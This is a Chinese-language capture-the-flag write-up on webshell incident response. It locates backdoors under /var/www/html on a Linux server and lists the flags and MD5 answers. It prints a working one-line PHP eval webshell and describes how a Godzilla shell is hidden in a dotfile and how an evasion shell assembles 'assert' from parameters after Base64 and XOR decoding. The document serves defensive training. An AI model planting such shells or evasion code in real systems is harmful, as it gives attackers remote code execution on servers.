Webshell 查杀应急响应专业通关笔记
一、题目信息
本题属于典型的主机侧 Webshell 排查场景,目标是在 Linux Web 服务器中定位攻击者留下的不同类型后门,并提取对应 Flag。排查范围集中在 Web 根目录及其子目录,分析重点包括明文一句话木马、基于管理工具生成的加密 Webshell、隐藏路径中的伪装文件,以及利用拼接执行实现免杀的变形后门。
| 项目 | 内容 |
|---|---|
| 场景类型 | Webshell 查杀 / 应急响应 |
| 系统环境 | Linux |
| 已知账号 | root / xjwebshell |
| 核心目标 | 定位 Webshell、识别工具类型、确认隐藏路径、分析免杀马 |
二、排查思路
这道题的解法比较直接,核心是围绕 Web 目录做逐层排查。先找最显眼、最容易暴露的后门文件,再逐步往子目录和隐藏文件扩展,最后针对代码结构异常的样本做特征识别。实际操作时,find、ls -la和cat基本就够用了,关键在于是否能从代码特征里快速判断出木马类型和用途。
排查顺序可以概括为:先从根目录寻找异常 PHP 文件,再进入 include 等业务目录查找可疑脚本,然后结合隐藏文件命名和代码混淆特征判断是否属于管理型 Webshell,最后再排查具备回调执行、参数拼接、编码解码等特征的免杀样本。
三、步骤一:定位根目录中的显性 Webshell
进入/var/www/html后,先在根目录找 PHP 文件:
find/var/www/html-maxdepth1-name"*.php"很快可以发现一个命名非常直接的文件shell.php。查看内容:
cat/var/www/html/shell.php文件内容如下:
<?phpeval($_POST[1]);?>//flag{027ccd04-5065-48b6-a32d-77c704a5e26d}这个样本就是最常见的一句话木马,执行方式也非常典型,直接通过eval($_POST[1])执行外部传入代码。题目把第一个 Flag 直接写在注释中,因此这里可以直接得到结果。
| 步骤 | 结论 |
|---|---|
| 发现文件 | /var/www/html/shell.php |
| 木马类型 | 一句话 Webshell |
| Flag | flag{027ccd04-5065-48b6-a32d-77c704a5e26d} |
四、步骤二:识别攻击者使用的管理工具
继续扩大搜索范围:
find/var/www/html-name"*.php"在/var/www/html/include/下找到gz.php。查看内容后,能看到几个明显特征:使用session_start(),通过自定义encode函数做异或处理,数据来源是php://input,并且代码中出现getBasicsInfo这样的标志字符串。这类特征非常典型,基本可以直接判断为哥斯拉(Godzilla)Webshell。
题目要求提交该工具 GitHub 地址的 MD5,因此直接对其仓库地址计算摘要:
echo-n"https://github.com/BeichenDream/Godzilla"|md5sum得到结果:
39392de3218c333f794befef07ac9257| 步骤 | 结论 |
|---|---|
| 可疑文件 | /var/www/html/include/gz.php |
| 工具类型 | Godzilla Webshell |
| 提交值 | flag{39392de3218c333f794befef07ac9257} |
五、步骤三:定位隐藏路径中的 Webshell
前面已经确认攻击者使用了 Godzilla,因此下一步要重点查找同类但隐藏更深的变体。排查 include 目录时,需要特别注意以点号开头的隐藏文件:
ls-la/var/www/html/include/Db/在该目录中可以发现.Mysqli.php。继续查看文件内容:
cat/var/www/html/include/Db/.Mysqli.php内容与前面的gz.php本质一致,说明这是攻击者放在数据库目录中的隐藏哥斯拉后门。题目要求提交完整路径的 MD5,因此对路径字符串计算摘要:
echo-n"/var/www/html/include/Db/.Mysqli.php"|md5sum得到结果:
aebac0e58cd6c5fad1695ee4d1ac1919| 步骤 | 结论 |
|---|---|
| 隐藏文件 | /var/www/html/include/Db/.Mysqli.php |
| 伪装方式 | 点号隐藏 + 业务目录伪装 |
| 提交值 | flag{aebac0e58cd6c5fad1695ee4d1ac1919} |
六、步骤四:分析免杀马样本
最后需要定位免杀样本。继续检查 Web 目录中的异常 PHP 文件,在/var/www/html/wap/下发现top.php。查看内容:
cat/var/www/html/wap/top.php关键逻辑可以概括为三步。首先,脚本接收func参数并进行 Base64 解码;其次,用password作为异或密钥恢复真实 payload;最后,再接收func2参数,和固定字符串拼接出目标函数名。当func2为sert时,拼接结果就是assert,从而触发任意代码执行。
这种写法属于比较典型的变形一句话木马:不直接写出危险函数,而是通过参数和字符串拼接的方式规避静态规则检测,因此题目将其归为免杀马。
题目要求提交该文件完整路径的 MD5:
echo-n"/var/www/html/wap/top.php"|md5sum结果为:
eeff2eabfd9b7a6d26fc1a53d3f7d1de| 步骤 | 结论 |
|---|---|
| 免杀马路径 | /var/www/html/wap/top.php |
| 免杀手法 | Base64 + XOR + 函数名拼接执行 |
| 提交值 | flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de} |
七、完整答案汇总
| 题目点 | 答案 |
|---|---|
| 黑客 webshell 里的 flag | flag{027ccd04-5065-48b6-a32d-77c704a5e26d} |
| 工具 GitHub 地址 MD5 | flag{39392de3218c333f794befef07ac9257} |
| 隐藏 shell 完整路径 MD5 | flag{aebac0e58cd6c5fad1695ee4d1ac1919} |
| 免杀马完整路径 MD5 | flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de} |
八、总结
这道题的重点不在复杂利用,而在文件排查能力和样本特征识别能力。如果只停留在查找最直白的一句话木马,很容易漏掉藏在业务目录里的 Godzilla 后门,也容易忽略通过参数拼接和编码解码实现的免杀样本。
从排查经验来看,这类题通常有三个稳定思路。第一,先查根目录里的显性异常文件,尽快拿到初始突破口;第二,进入业务子目录重点看隐藏文件和命名伪装文件;第三,遇到复杂 PHP 代码时,不要急着逐行细抠,而是优先抓特征,例如php://input、异或解密、session、回调执行、危险函数拼接等。只要特征抓准,判断木马家族和用途会快很多。
如果是在真实应急场景里,完成这一步之后还应继续结合访问日志、进程、计划任务和文件时间线做扩展排查,确认是否还存在上传入口、横向驻留或其他持久化痕迹。